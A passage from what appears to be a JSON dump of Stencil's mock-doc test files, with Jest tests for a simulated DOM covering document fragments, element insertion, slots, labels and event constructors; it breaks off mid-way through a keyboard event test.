    "content": "import { MockDocument } from '../document';\nimport { MockDocumentFragment } from '../document-fragment';\n\ndescribe('documentFragment', () => {\n  let doc: MockDocument;\n  beforeEach(() => {\n    doc = new MockDocument();\n  });\n\n  it('getElementById()', () => {\n    const frag = doc.createDocumentFragment();\n    const div = doc.createElement('div');\n    div.id = 'my-div';\n    frag.append(div);\n\n    expect(frag.getElementById('unknown')).toBeNull();\n    expect(frag.getElementById('my-div')).toBe(div);\n  });\n\n  it('move children when appended', () => {\n    const frag = new MockDocumentFragment(doc);\n    const div = doc.createElement('div');\n    const a = doc.createElement('a');\n    const text = doc.createTextNode('text');\n\n    frag.appendChild(div);\n    frag.appendChild(a);\n    frag.appendChild(text);\n\n    expect(frag.childNodes).toHaveLength(3);\n    expect(frag).toEqualHtml(`\n    <div></div>\n    <a></a>\n    text\n    `);\n\n    doc.body.appendChild(frag);\n\n    expect(frag.childNodes).toHaveLength(0);\n    expect(frag).toEqualHtml(``);\n\n    expect(doc.body).toEqualHtml(`\n    <div></div>\n    <a></a>\n    text\n    `);\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/element.spec.ts",
    "content": "import { MockDocument } from '../document';\nimport { MockAnchorElement, MockMetaElement, MockSVGElement, MockUListElement } from '../element';\nimport { MockElement, MockHTMLElement } from '../node';\nimport { cloneWindow, MockWindow } from '../window';\n\ndescribe('element', () => {\n  let doc: MockDocument;\n  beforeEach(() => {\n    doc = new MockDocument('');\n  });\n\n  it('document.documentElement dir', () => {\n    expect(doc.dir).toBe('');\n    expect(doc.documentElement.getAttribute('dir')).toBe(null);\n    doc.documentElement.setAttribute('dir', 'rtl');\n    expect(doc.documentElement.getAttribute('dir')).toBe('rtl');\n    expect(doc.dir).toBe('rtl');\n  });\n\n  it('document.dir', () => {\n    expect(doc.dir).toBe('');\n    doc.dir = 'ltr';\n    expect(doc.dir).toBe('ltr');\n    doc.dir = 'rtl';\n    expect(doc.dir).toBe('rtl');\n  });\n\n  it('insertAdjacentElement beforebegin', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.innerHTML = '<b>0</b>';\n    doc.body.appendChild(elm);\n    const insertElm = doc.createElement('i');\n    insertElm.textContent = 'c';\n    elm.insertAdjacentElement('beforebegin', insertElm);\n    expect(doc.body).toEqualHtml(`<body><i>c</i><div><b>0</b></div></body>`);\n  });\n\n  it('insertAdjacentElement afterbegin', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.innerHTML = '<b>0</b>';\n    doc.body.appendChild(elm);\n    const insertElm = doc.createElement('i');\n    insertElm.textContent = 'c';\n    elm.insertAdjacentElement('afterbegin', insertElm);\n    expect(doc.body).toEqualHtml(`<body><div><i>c</i><b>0</b></div></body>`);\n  });\n\n  it('insertAdjacentElement beforeend', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.innerHTML = '<b>0</b>';\n    doc.body.appendChild(elm);\n    const insertElm = doc.createElement('i');\n    insertElm.textContent = 'c';\n    elm.insertAdjacentElement('beforeend', insertElm);\n    expect(doc.body).toEqualHtml(`<body><div><b>0</b><i>c</i></div></body>`);\n  });\n\n  it('insertAdjacentElement afterend', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.innerHTML = '<b>0</b>';\n    doc.body.appendChild(elm);\n    const insertElm = doc.createElement('i');\n    insertElm.textContent = 'c';\n    elm.insertAdjacentElement('afterend', insertElm);\n    expect(doc.body).toEqualHtml(`<body><div><b>0</b></div><i>c</i></body>`);\n  });\n\n  it('insertAdjacentText beforebegin', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.innerHTML = '<b>0</b>';\n    doc.body.appendChild(elm);\n    elm.insertAdjacentText('beforebegin', 'a');\n    expect(doc.body).toEqualHtml(`<body>a<div><b>0</b></div></body>`);\n  });\n\n  it('insertAdjacentText afterbegin', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.innerHTML = '<b>0</b>';\n    doc.body.appendChild(elm);\n    elm.insertAdjacentText('afterbegin', 'a');\n    expect(doc.body).toEqualHtml(`<body><div>a<b>0</b></div></body>`);\n  });\n\n  it('insertAdjacentText beforeend', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.innerHTML = '<b>0</b>';\n    doc.body.appendChild(elm);\n    elm.insertAdjacentText('beforeend', 'a');\n    expect(doc.body).toEqualHtml(`<body><div><b>0</b>a</div></body>`);\n  });\n\n  it('insertAdjacentText afterend', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.innerHTML = '<b>0</b>';\n    doc.body.appendChild(elm);\n    elm.insertAdjacentText('afterend', 'a');\n    expect(doc.body).toEqualHtml(`<body><div><b>0</b></div>a</body>`);\n  });\n\n  it('insertAdjacentHTML beforebegin', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.textContent = '0';\n    doc.body.appendChild(elm);\n    elm.insertAdjacentHTML('beforebegin', '<b>88</b>mph');\n    expect(doc.body).toEqualHtml(`<body><b>88</b>mph<div>0</div></body>`);\n  });\n\n  it('insertAdjacentHTML afterbegin', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.textContent = '0';\n    doc.body.appendChild(elm);\n    elm.insertAdjacentHTML('afterbegin', '<b>88</b>mph<i>!</i>');\n    expect(doc.body).toEqualHtml(`<body><div><b>88</b>mph<i>!</i>0</div></body>`);\n  });\n\n  it('insertAdjacentHTML beforeend', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.textContent = '0';\n    doc.body.appendChild(elm);\n    elm.insertAdjacentHTML('beforeend', '<b>88</b>mph<i>!</i>');\n    expect(doc.body).toEqualHtml(`<body><div>0<b>88</b>mph<i>!</i></div></body>`);\n  });\n\n  it('insertAdjacentHTML afterend', () => {\n    const elm = doc.createElement('div') as MockHTMLElement;\n    elm.innerHTML = '<b>0</b>';\n    doc.body.appendChild(elm);\n    elm.insertAdjacentHTML('afterend', 'a');\n    expect(doc.body).toEqualHtml(`<body><div><b>0</b></div>a</body>`);\n  });\n\n  it('clone elements', () => {\n    const win = new MockWindow(`\n      <html>\n        <head>\n          <meta id=\"test\">\n        </head>\n        <body></body>\n      </head>\n    `);\n\n    const clonedWin = cloneWindow(win as any);\n\n    if (!clonedWin) {\n      throw new Error('The Window was not successfully cloned!');\n    }\n\n    const elm = clonedWin.document.getElementById('test') as any;\n    expect((elm as HTMLMetaElement).content).toBe('');\n    expect(elm).toEqualHtml(`<meta id=\"test\">`);\n\n    (elm as HTMLMetaElement).content = 'value';\n    expect((elm as HTMLMetaElement).content).toBe('value');\n    expect(elm).toEqualHtml(`<meta id=\"test\" content=\"value\">`);\n\n    clonedWin.document.title = 'Hello Title!';\n    const titleElm = clonedWin.document.head.querySelector('title');\n    expect(titleElm).toEqualHtml(`<title>Hello Title!</title>`);\n\n    // we just asserted that this object isn't falsy, allowing us to use the bang operator here\n    titleElm!.text = 'Hello Text!';\n    expect(titleElm).toEqualHtml(`<title>Hello Text!</title>`);\n  });\n\n  it('meta content', () => {\n    const metaElm = doc.createElement('meta');\n    metaElm.content = 'value';\n    metaElm.id = 'test';\n    doc.head.appendChild(metaElm);\n    expect(metaElm).toEqualHtml(`<meta content=\"value\" id=\"test\">`);\n\n    const elm = doc.getElementById('test') as MockMetaElement;\n    expect(elm).toEqualHtml(`<meta content=\"value\" id=\"test\">`);\n\n    elm['content'] = 'updated';\n    expect(elm).toEqualHtml(`<meta content=\"updated\" id=\"test\">`);\n  });\n\n  describe('document', () => {\n    it('styleSheets', () => {\n      expect(document.styleSheets).toEqual([]);\n      const style = document.createElement('style');\n      document.head.appendChild(style);\n      expect(document.styleSheets).toEqual([style]);\n    });\n\n    it('forms', () => {\n      expect(document.forms).toEqual([]);\n      const form = document.createElement('form');\n      document.head.appendChild(form);\n      expect(document.forms).toEqual([form]);\n    });\n\n    it('scripts', () => {\n      expect(document.scripts).toEqual([]);\n      const script = document.createElement('script');\n      document.head.appendChild(script);\n      expect(document.scripts).toEqual([script]);\n    });\n\n    it('images', () => {\n      expect(document.images).toEqual([]);\n      const img = document.createElement('img');\n      document.head.appendChild(img);\n      expect(document.images).toEqual([img]);\n    });\n\n    it('scrollingElement', () => {\n      expect(document.scrollingElement).toBe(document.documentElement);\n    });\n\n    it('title', () => {\n      document.title = 'Hello Title';\n      expect(document.title).toBe('Hello Title');\n\n      const titleElm = document.head.querySelector('title');\n\n      if (!titleElm) {\n        throw new Error('Unable to find title element in the DOM.');\n      }\n\n      expect(titleElm.textContent).toBe('Hello Title');\n      expect(titleElm.text).toBe('Hello Title');\n\n      titleElm.text = 'Hello Text';\n      expect(document.title).toBe('Hello Text');\n      expect(titleElm.text).toBe('Hello Text');\n      expect(titleElm.textContent).toBe('Hello Text');\n    });\n\n    it('document.baseURI', () => {\n      const win = new MockWindow(`\n      <html>\n        <head>\n          <base href=\"/en\">\n        </head>\n      </head>\n      `);\n      win.location.href = 'http://stenciljs.com/path/to/page';\n      expect(win.document.baseURI).toBe('http://stenciljs.com/en');\n      expect(win.document.URL).toBe('http://stenciljs.com/path/to/page');\n      expect(win.document.location.href).toBe('http://stenciljs.com/path/to/page');\n\n      // use the bang operator here to fail in case 'base' can't be found\n      win.document.querySelector('base')!.remove();\n      expect(win.document.baseURI).toBe('http://stenciljs.com/path/to/page');\n      expect(win.document.URL).toBe('http://stenciljs.com/path/to/page');\n      expect(win.document.location.href).toBe('http://stenciljs.com/path/to/page');\n    });\n  });\n\n  describe('contains', () => {\n    it('returns true when a node is an direct child of a given node', () => {\n      const root = document.createElement('div');\n      const span = document.createElement('span');\n\n      root.appendChild(span);\n\n      expect(root.contains(span)).toEqual(true);\n    });\n\n    it('returns true when a node is an indirect child of a given node', () => {\n      const root = document.createElement('div');\n      const span = document.createElement('span');\n      const h1 = document.createElement('h1');\n\n      root.appendChild(span);\n      span.appendChild(h1);\n\n      expect(root.contains(h1)).toEqual(true);\n    });\n\n    it('returns true when a node is the given node itself', () => {\n      const root = document.createElement('div');\n      expect(root.contains(root)).toEqual(true);\n    });\n\n    it('returns false when a node is not the given node itself or not a descendant of the given node', () => {\n      const root = document.createElement('div');\n      const span = document.createElement('span');\n      expect(root.contains(span)).toEqual(false);\n    });\n  });\n\n  describe('isConnected', () => {\n    it('nested true', () => {\n      const elmParent = document.createElement('div');\n      const elmChild = document.createElement('div');\n      elmParent.appendChild(elmChild);\n      expect(document.body.contains(elmParent)).toBe(false);\n      document.body.appendChild(elmParent);\n      expect(document.body.contains(elmParent)).toBe(true);\n      expect(elmParent.isConnected).toBe(true);\n      expect(elmChild.isConnected).toBe(true);\n      expect(document.body.isConnected).toBe(true);\n      expect(document.documentElement.isConnected).toBe(true);\n      expect(document.isConnected).toBe(true);\n    });\n\n    it('true', () => {\n      const elm = document.createElement('div');\n      document.body.appendChild(elm);\n      expect(elm.isConnected).toBe(true);\n    });\n\n    it('false', () => {\n      const elm = document.createElement('div');\n      expect(elm.isConnected).toBe(false);\n    });\n  });\n\n  describe('append', () => {\n    it('nothing', () => {\n      const elm = doc.createElement('div') as Element;\n      elm.append();\n      expect(elm.childNodes).toEqual([]);\n    });\n    it('one element', () => {\n      const elm = doc.createElement('div') as Element;\n      const child = doc.createElement('div') as Element;\n      elm.append(child);\n      expect(elm.childNodes).toEqual([child]);\n    });\n    it('one text', () => {\n      const elm = doc.createElement('div') as Element;\n      elm.append('text');\n      expect(elm.childNodes.length).toEqual(1);\n      expect((elm.childNodes[0] as Text).data).toEqual('text');\n    });\n    it('multiple texts', () => {\n      const elm = doc.createElement('div') as Element;\n      elm.append('text', 'some text');\n      expect(elm.childNodes.length).toEqual(2);\n      expect((elm.childNodes[0] as Text).data).toEqual('text');\n      expect((elm.childNodes[1] as Text).data).toEqual('some text');\n    });\n    it('mixed', () => {\n      const elm = doc.createElement('div') as Element;\n      const child = doc.createElement('div') as Element;\n\n      elm.append('text', 12 as any, child, null as unknown as Node);\n      expect(elm.childNodes.length).toEqual(4);\n      expect((elm.childNodes[0] as Text).data).toEqual('text');\n      expect((elm.childNodes[1] as Text).data).toEqual('12');\n      expect(elm.childNodes[2]).toEqual(child);\n      // we used type assertions above to verify that `null`'s text reads a 'null'\n      expect((elm.childNodes[3] as Text).data).toEqual('null');\n    });\n  });\n\n  describe('prepend', () => {\n    it('before node', () => {\n      const elm = doc.createElement('div') as Element;\n      const original = doc.createElement('div') as Element;\n      const child = doc.createElement('div') as Element;\n      elm.append(original);\n      elm.prepend('text', 12 as any, child);\n\n      expect(elm.childNodes.length).toEqual(4);\n      expect((elm.childNodes[0] as Text).data).toEqual('text');\n      expect((elm.childNodes[1] as Text).data).toEqual('12');\n      expect(elm.childNodes[2]).toEqual(child);\n      expect(elm.childNodes[3]).toEqual(original);\n    });\n\n    it('before text', () => {\n      const elm = doc.createElement('div') as Element;\n      const child = doc.createElement('div') as Element;\n      elm.append('original');\n      elm.prepend('text', 12 as any, child);\n\n      expect(elm.childNodes.length).toEqual(4);\n      expect((elm.childNodes[0] as Text).data).toEqual('text');\n      expect((elm.childNodes[1] as Text).data).toEqual('12');\n      expect(elm.childNodes[2]).toEqual(child);\n      expect((elm.childNodes[3] as Text).data).toEqual('original');\n    });\n\n    it('before null', () => {\n      const elm = doc.createElement('div') as Element;\n      const child = doc.createElement('div') as Element;\n      elm.prepend(child);\n\n      expect(elm.childNodes.length).toEqual(1);\n      expect(elm.childNodes[0]).toEqual(child);\n    });\n  });\n\n  it('getBoundingClientRect', () => {\n    const elm = doc.createElement('div');\n    const rect = elm.getBoundingClientRect();\n\n    expect(rect).toEqual({\n      bottom: 0,\n      height: 0,\n      left: 0,\n      right: 0,\n      top: 0,\n      width: 0,\n      x: 0,\n      y: 0,\n    });\n  });\n\n  describe('namespaceURI', () => {\n    it('HTMLElement namespaceURI is always http://www.w3.org/1999/xhtml', () => {\n      const htmlElement = new MockHTMLElement(doc, 'svg');\n      expect(htmlElement.namespaceURI).toEqual('http://www.w3.org/1999/xhtml');\n\n      const createdElement1 = doc.createElement('div');\n      expect(createdElement1.namespaceURI).toEqual('http://www.w3.org/1999/xhtml');\n\n      const createdElement2 = doc.createElement('svg');\n      expect(createdElement2.namespaceURI).toEqual('http://www.w3.org/1999/xhtml');\n      expect(createdElement2 instanceof MockHTMLElement).toBe(true);\n\n      const createdElement3 = doc.createElementNS('http://www.w3.org/1999/xhtml', 'svg');\n      expect(createdElement3.namespaceURI).toEqual('http://www.w3.org/1999/xhtml');\n      expect(createdElement3 instanceof MockHTMLElement).toBe(true);\n    });\n\n    it('Element namespace is null by defualt', () => {\n      const element = new MockElement(doc, 'svg');\n      expect(element.namespaceURI).toEqual(null);\n    });\n\n    it('createElementNS sets the namespace', () => {\n      const element = doc.createElementNS('random', 'svg');\n      expect(element.namespaceURI).toEqual('random');\n      expect(element instanceof MockSVGElement).toBe(false);\n\n      const element1 = doc.createElementNS('http://www.w3.org/2000/svg', 'svg');\n      expect(element1.namespaceURI).toEqual('http://www.w3.org/2000/svg');\n      expect(element1 instanceof MockSVGElement).toBe(true);\n    });\n  });\n\n  describe('tagName', () => {\n    it('Element tagName/nodeName is case sensible', () => {\n      const element = new MockElement(doc, 'myElement');\n      expect(element.tagName).toEqual('myElement');\n      expect(element.nodeName).toEqual('myElement');\n\n      const foreignObject = document.createElementNS('http://www.w3.org/2000/svg', 'foreignObject');\n      expect(foreignObject.tagName).toEqual('foreignObject');\n      expect(foreignObject.nodeName).toEqual('foreignObject');\n    });\n\n    it('HTMLElement tagName/nodeName is case insensible', () => {\n      const element = new MockHTMLElement(doc, 'myElement');\n      expect(element.tagName).toEqual('MYELEMENT');\n      expect(element.nodeName).toEqual('MYELEMENT');\n\n      const foreignObject = document.createElement('foreignObject');\n      expect(foreignObject.tagName).toEqual('FOREIGNOBJECT');\n      expect(foreignObject.nodeName).toEqual('FOREIGNOBJECT');\n\n      const foreignObject2 = document.createElementNS('http://www.w3.org/1999/xhtml', 'foreignObject');\n      expect(foreignObject2.tagName).toEqual('FOREIGNOBJECT');\n      expect(foreignObject2.nodeName).toEqual('FOREIGNOBJECT');\n\n      const createdElement = document.createElement('myElement');\n      expect(createdElement.tagName).toEqual('MYELEMENT');\n      expect(createdElement.nodeName).toEqual('MYELEMENT');\n    });\n  });\n\n  describe('parentElement', () => {\n    it('returns `null` for when accessing the parent element of an html node', () => {\n      const element = new MockHTMLElement(doc, 'myElement');\n      expect(element.parentElement).toEqual(null);\n    });\n  });\n\n  describe('input', () => {\n    it('list is readonly prop', () => {\n      const input = doc.createElement('input');\n      const list = doc.createElement('datalist');\n      list.id = 'my-list';\n      doc.body.append(input, list);\n      expect(input.list).toEqual(null);\n\n      // it's readonly\n      expect(() => (input.list = 'my-list')).toThrow();\n      expect(input.list).toEqual(null);\n\n      // finds list\n      input.setAttribute('list', 'my-list');\n      expect(input.list).toEqual(list);\n\n      // unknown id\n      input.setAttribute('list', 'unknown');\n      expect(input.list).toEqual(null);\n    });\n  });\n\n  describe('link', () => {\n    it('href', () => {\n      const elm: MockAnchorElement = doc.createElement('a');\n      elm.href = 'http://stenciljs.com/path/to/page';\n      expect(elm.href).toBe('http://stenciljs.com/path/to/page');\n    });\n\n    it('pathname', () => {\n      const elm: MockAnchorElement = doc.createElement('a');\n      elm.href = 'http://stenciljs.com/path/to/page';\n      expect(elm.pathname).toBe('/path/to/page');\n    });\n  });\n\n  describe('ul', () => {\n    it('textContent', () => {\n      const elm: MockUListElement = doc.createElement('ul');\n      elm.textContent = 'this is an item in an unordered list';\n      expect(elm.textContent).toBe('this is an item in an unordered list');\n    });\n  });\n\n  it('provides a localName', () => {\n    expect(doc.createElement('input').localName).toBe('input');\n    expect(doc.createElement('a').localName).toBe('a');\n    expect(doc.createElement('datalist').localName).toBe('datalist');\n    expect(doc.createElement('svg').localName).toBe('svg');\n    expect((document.childNodes[1] as any).localName).toBe('html');\n  });\n\n  it('has provides a canvas object with getContext', () => {\n    const canvas = doc.createElement('canvas');\n    const ctx = canvas.getContext('2d');\n    expect(ctx).toBeDefined();\n    expect(ctx.toDataURL()).toBe('data:,');\n  });\n\n  describe('slot', () => {\n    it('returns no nodes via `assignedNodes` / `assignedElements` when not within a custom element', () => {\n      const slot = doc.createElement('slot');\n      slot.innerHTML = 'invisible <div>Something</div> <!-- not here -->';\n      expect(slot.assignedNodes().length).toEqual(0);\n      expect(slot.assignedElements().length).toEqual(0);\n    });\n\n    it('returns correct nodes with `assignedNodes`', () => {\n      const elm = doc.createElement('cmp-a');\n      const shadowRoot = elm.attachShadow({ mode: 'open' });\n      const slot = doc.createElement('slot');\n      shadowRoot.appendChild(slot);\n      slot.innerHTML = '<slot name=\"nested-slot\">Fallback content</slot>';\n\n      elm.innerHTML = `\n        text node \n        <div>light dom</div>\n        <!-- comment node -->\n        <div slot=\"nested-slot\">nested slot</div>\n      `;\n\n      expect(slot.assignedNodes().length).toEqual(5);\n      expect(slot.assignedNodes()[0].textContent.trim()).toEqual('text node');\n      expect(slot.assignedNodes()[1].textContent.trim()).toEqual('light dom');\n      expect(slot.assignedNodes()[3].textContent.trim()).toEqual('comment node');\n      expect(slot.assignedNodes()[4].textContent.trim()).toEqual('');\n      expect(slot.assignedNodes({ flatten: true }).length).toEqual(5);\n\n      elm.innerHTML = '<div slot=\"nested-slot\">nested slot</div>';\n\n      expect(slot.assignedNodes().length).toEqual(0);\n      expect(slot.assignedNodes({ flatten: true }).length).toEqual(1);\n      expect(slot.assignedNodes({ flatten: true })[0].textContent.trim()).toEqual('nested slot');\n\n      elm.innerHTML = 'text node <div slot=\"nested-slot\">nested slot</div>';\n\n      expect(slot.assignedNodes().length).toEqual(1);\n      expect(slot.assignedNodes({ flatten: true }).length).toEqual(1);\n      expect(slot.assignedNodes()[0].textContent.trim()).toEqual('text node');\n\n      elm.innerHTML = '';\n      expect(slot.assignedNodes().length).toEqual(0);\n      expect(slot.assignedNodes({ flatten: true }).length).toEqual(1);\n      expect(slot.assignedNodes({ flatten: true })[0].textContent.trim()).toEqual('Fallback content');\n    });\n\n    it('returns correct elements with `assignedElements`', () => {\n      const elm = doc.createElement('cmp-a');\n      const shadowRoot = elm.attachShadow({ mode: 'open' });\n      const slot = doc.createElement('slot');\n      shadowRoot.appendChild(slot);\n      slot.innerHTML = '<slot name=\"nested-slot\"><div>Fallback content</div></slot>';\n\n      elm.innerHTML = `\n        text node \n        <div>light dom</div>\n        <!-- comment node -->\n        <div slot=\"nested-slot\">nested slot</div>\n      `;\n\n      expect(slot.assignedElements().length).toEqual(1);\n      expect(slot.assignedElements()[0].textContent.trim()).toEqual('light dom');\n      expect(slot.assignedElements({ flatten: true }).length).toEqual(1);\n\n      elm.innerHTML = '<div slot=\"nested-slot\">nested slot</div>';\n\n      expect(slot.assignedElements().length).toEqual(0);\n      expect(slot.assignedElements({ flatten: true }).length).toEqual(1);\n      expect(slot.assignedElements({ flatten: true })[0].textContent.trim()).toEqual('nested slot');\n\n      elm.innerHTML = 'text node <div slot=\"nested-slot\">nested slot</div>';\n\n      expect(slot.assignedElements().length).toEqual(0);\n      expect(slot.assignedElements({ flatten: true }).length).toEqual(1);\n      expect(slot.assignedElements({ flatten: true })[0].textContent.trim()).toEqual('nested slot');\n\n      elm.innerHTML = '';\n      expect(slot.assignedElements().length).toEqual(0);\n      expect(slot.assignedElements({ flatten: true }).length).toEqual(1);\n      expect(slot.assignedElements({ flatten: true })[0].textContent.trim()).toEqual('Fallback content');\n    });\n  });\n\n  describe('label', () => {\n    it('htmlFor getter/setter reflects the for attribute', () => {\n      const label = doc.createElement('label');\n      expect(label.htmlFor).toBe('');\n\n      label.htmlFor = 'my-input';\n      expect(label.htmlFor).toBe('my-input');\n      expect(label.getAttribute('for')).toBe('my-input');\n\n      label.setAttribute('for', 'other-input');\n      expect(label.htmlFor).toBe('other-input');\n    });\n\n    it('control returns element referenced by for attribute', () => {\n      const label = doc.createElement('label');\n      const input = doc.createElement('input');\n      input.id = 'my-input';\n      label.htmlFor = 'my-input';\n\n      doc.body.appendChild(label);\n      doc.body.appendChild(input);\n\n      expect(label.control).toBe(input);\n    });\n\n    it('control returns null when for attribute references non-existent element', () => {\n      const label = doc.createElement('label');\n      label.htmlFor = 'non-existent';\n      doc.body.appendChild(label);\n\n      expect(label.control).toBe(null);\n    });\n\n    it('control returns first labelable descendant when no for attribute', () => {\n      const label = doc.createElement('label');\n      const span = doc.createElement('span');\n      const input = doc.createElement('input');\n\n      label.appendChild(span);\n      span.appendChild(input);\n      doc.body.appendChild(label);\n\n      expect(label.control).toBe(input);\n    });\n\n    it('control returns null when no for attribute and no labelable descendants', () => {\n      const label = doc.createElement('label');\n      const span = doc.createElement('span');\n      label.appendChild(span);\n      doc.body.appendChild(label);\n\n      expect(label.control).toBe(null);\n    });\n  });\n\n  describe('labels property', () => {\n    it('input.labels returns labels with matching for attribute', () => {\n      const label1 = doc.createElement('label');\n      const label2 = doc.createElement('label');\n      const input = doc.createElement('input');\n\n      input.id = 'my-input';\n      label1.htmlFor = 'my-input';\n      label2.htmlFor = 'other-input';\n\n      doc.body.appendChild(label1);\n      doc.body.appendChild(label2);\n      doc.body.appendChild(input);\n\n      const labels = input.labels;\n      expect(labels.length).toBe(1);\n      expect(labels[0]).toBe(label1);\n    });\n\n    it('input.labels returns ancestor label elements', () => {\n      const label = doc.createElement('label');\n      const input = doc.createElement('input');\n\n      label.appendChild(input);\n      doc.body.appendChild(label);\n\n      const labels = input.labels;\n      expect(labels.length).toBe(1);\n      expect(labels[0]).toBe(label);\n    });\n\n    it('input.labels returns both for-referenced and ancestor labels', () => {\n      const label1 = doc.createElement('label');\n      const label2 = doc.createElement('label');\n      const input = doc.createElement('input');\n\n      input.id = 'my-input';\n      label1.htmlFor = 'my-input';\n      label2.appendChild(input);\n\n      doc.body.appendChild(label1);\n      doc.body.appendChild(label2);\n\n      const labels = input.labels;\n      expect(labels.length).toBe(2);\n      expect(labels).toContain(label1);\n      expect(labels).toContain(label2);\n    });\n\n    it('input.labels returns empty array when no associated labels', () => {\n      const input = doc.createElement('input');\n      doc.body.appendChild(input);\n\n      expect(input.labels.length).toBe(0);\n    });\n\n    it('button.labels returns associated labels', () => {\n      const label = doc.createElement('label');\n      const button = doc.createElement('button');\n\n      button.id = 'my-button';\n      label.htmlFor = 'my-button';\n\n      doc.body.appendChild(label);\n      doc.body.appendChild(button);\n\n      const labels = button.labels;\n      expect(labels.length).toBe(1);\n      expect(labels[0]).toBe(label);\n    });\n  });\n});\n"
  },
  {
    "path": "src/mock-doc/test/event.spec.ts",
    "content": "import { MockDocument } from '../document';\nimport { MockEvent } from '../event';\nimport { MockElement } from '../node';\nimport { MockWindow } from '../window';\n\ndescribe('event', () => {\n  let win: MockWindow;\n  beforeEach(() => {\n    win = new MockWindow();\n  });\n\n  it('Event() requires type', () => {\n    expect(() => {\n      // @ts-ignore checking that it throws when not supplied required args\n      new win.Event();\n    }).toThrow();\n  });\n\n  it('Event(type)', () => {\n    const ev = new win.Event('click');\n    expect(ev.bubbles).toBe(false);\n    expect(ev.cancelBubble).toBe(false);\n    expect(ev.cancelable).toBe(false);\n    expect(ev.composed).toBe(false);\n    expect(ev.currentTarget).toBe(null);\n    expect(ev.defaultPrevented).toBe(false);\n    expect(ev.srcElement).toBe(null);\n    expect(ev.target).toBe(null);\n    expect(typeof ev.timeStamp).toBe('number');\n    expect(ev.type).toBe('click');\n  });\n\n  it('Event(type, eventInitDict)', () => {\n    const eventInitDict = {\n      bubbles: true,\n      composed: true,\n    };\n    const ev = new win.Event('click', eventInitDict);\n    expect(ev.bubbles).toBe(true);\n    expect(ev.cancelBubble).toBe(false);\n    expect(ev.cancelable).toBe(false);\n    expect(ev.composed).toBe(true);\n    expect(ev.currentTarget).toBe(null);\n    expect(ev.defaultPrevented).toBe(false);\n    expect(ev.srcElement).toBe(null);\n    expect(ev.target).toBe(null);\n    expect(typeof ev.timeStamp).toBe('number');\n    expect(ev.type).toBe('click');\n  });\n\n  it('CustomEvent() requires type', () => {\n    expect(() => {\n      // @ts-ignore checking that it throws when not supplied required args\n      new win.CustomEvent();\n    }).toThrow();\n  });\n\n  it('CustomEvent(type)', () => {\n    const ev = new win.CustomEvent('click');\n    expect(ev.bubbles).toBe(false);\n    expect(ev.cancelBubble).toBe(false);\n    expect(ev.cancelable).toBe(false);\n    expect(ev.composed).toBe(false);\n    expect(ev.currentTarget).toBe(null);\n    expect(ev.defaultPrevented).toBe(false);\n    expect(ev.srcElement).toBe(null);\n    expect(ev.target).toBe(null);\n    expect(typeof ev.timeStamp).toBe('number');\n    expect(ev.type).toBe('click');\n    expect(ev.detail).toBe(null);\n  });\n\n  it('CustomEvent(type, eventInitDict)', () => {\n    const eventInitDict = {\n      bubbles: true,\n      composed: true,\n      detail: 88,\n    };\n    const ev = new win.CustomEvent('click', eventInitDict);\n    expect(ev.bubbles).toBe(true);\n    expect(ev.cancelBubble).toBe(false);\n    expect(ev.cancelable).toBe(false);\n    expect(ev.composed).toBe(true);\n    expect(ev.currentTarget).toBe(null);\n    expect(ev.defaultPrevented).toBe(false);\n    expect(ev.srcElement).toBe(null);\n    expect(ev.target).toBe(null);\n    expect(typeof ev.timeStamp).toBe('number');\n    expect(ev.type).toBe('click');\n    expect(ev.detail).toBe(88);\n  });\n\n  it('FocusEvent() requires type', () => {\n    expect(() => {\n      // @ts-ignore checking that it throws when not supplied required arguments\n      new win.FocusEvent();\n    }).toThrow();\n  });\n\n  const focusEventTypes: ('blur' | 'focus')[] = ['blur', 'focus'];\n  it.each(focusEventTypes)('creates a %s-type MockFocusEvent', (focusType) => {\n    const ev = new win.FocusEvent(focusType);\n    expect(ev.bubbles).toBe(false);\n    expect(ev.cancelBubble).toBe(false);\n    expect(ev.cancelable).toBe(false);\n    expect(ev.composed).toBe(false);\n    expect(ev.currentTarget).toBe(null);\n    expect(ev.defaultPrevented).toBe(false);\n    expect(ev.srcElement).toBe(null);\n    expect(ev.target).toBe(null);\n    expect(typeof ev.timeStamp).toBe('number');\n    expect(ev.type).toBe(focusType);\n    expect(ev.relatedTarget).toBe(null);\n  });\n\n  it('FocusEvent(type, focusEventInitDic)', () => {\n    const focusEventInitDic = {\n      bubbles: true,\n      composed: true,\n      relatedTarget: null as EventTarget | null,\n    };\n    const ev = new win.FocusEvent('blur', focusEventInitDic);\n    expect(ev.bubbles).toBe(true);\n    expect(ev.cancelBubble).toBe(false);\n    expect(ev.cancelable).toBe(false);\n    expect(ev.composed).toBe(true);\n    expect(ev.currentTarget).toBe(null);\n    expect(ev.defaultPrevented).toBe(false);\n    expect(ev.srcElement).toBe(null);\n    expect(ev.target).toBe(null);\n    expect(typeof ev.timeStamp).toBe('number');\n    expect(ev.type).toBe('blur');\n    expect(ev.relatedTarget).toBe(null);\n  });\n\n  it('KeyboardEvent() requires type', () => {\n    expect(() => {\n      // @ts-ignore checking that it throws when not supplied required arguments\n      new win.KeyboardEvent();\n    }).toThrow();\n  });\n\n  it('KeyboardEvent(type)', () => {\n    const ev = new win.KeyboardEvent('keyup');\n    expect(ev.bubbles).toBe(false);\n    expect(ev.cancelBubble).toBe(false);\n    expect(ev.cancelable).toBe(false);\n    expect(ev.composed).toBe(false);\n    expect(ev.currentTarget).toBe(null);\n    expect(ev.defaultPrevented).toBe(false);\n    expect(ev.srcElement).toBe(null);\n    expect(ev.target).toBe(null);\n    expect(typeof ev.timeStamp).toBe('number');\n    expect(ev.type).toBe('keyup');\n    expect(ev.code).toBe('');\n    expect(ev.key).toBe('');\n    expect(ev.altKey).toBe(false);\n    expect(ev.ctrlKey).toBe(false);\n    expect(ev.metaKey).toBe(false);\n    expect(ev.shiftKey).toBe(false);\n    expect(ev.location).toBe(0);\n    